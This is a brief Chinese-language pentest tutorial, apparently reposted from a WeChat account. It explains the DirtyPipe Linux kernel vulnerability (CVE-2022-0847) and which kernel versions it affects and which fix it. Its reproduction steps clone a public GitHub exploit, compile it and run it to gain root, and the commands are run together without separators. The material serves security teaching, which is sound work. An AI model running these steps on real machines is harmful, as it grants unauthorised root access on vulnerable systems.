漏洞说明
DirtyPipe (CVE-2022-0847) 是自 5.8 以来 Linux 内核中的一个漏洞，它允许覆盖任意只读文件中的数据。
漏洞影响范围
Linux内核5.8及以后的版本。该漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修复。
漏洞复现
查看内核版本，发现此版本存在该漏洞
uname -a # 查看系统内核版本
下载exp到服务器上进行执行
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.gitcd CVE-2022-0847-DirtyPipe-Exploit/./compile.sh./exploit
成功获取到root权限
原文始发于微信公众号（渗透笔记）：Linux提权（八）CVE-2022-0847 内核提权
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论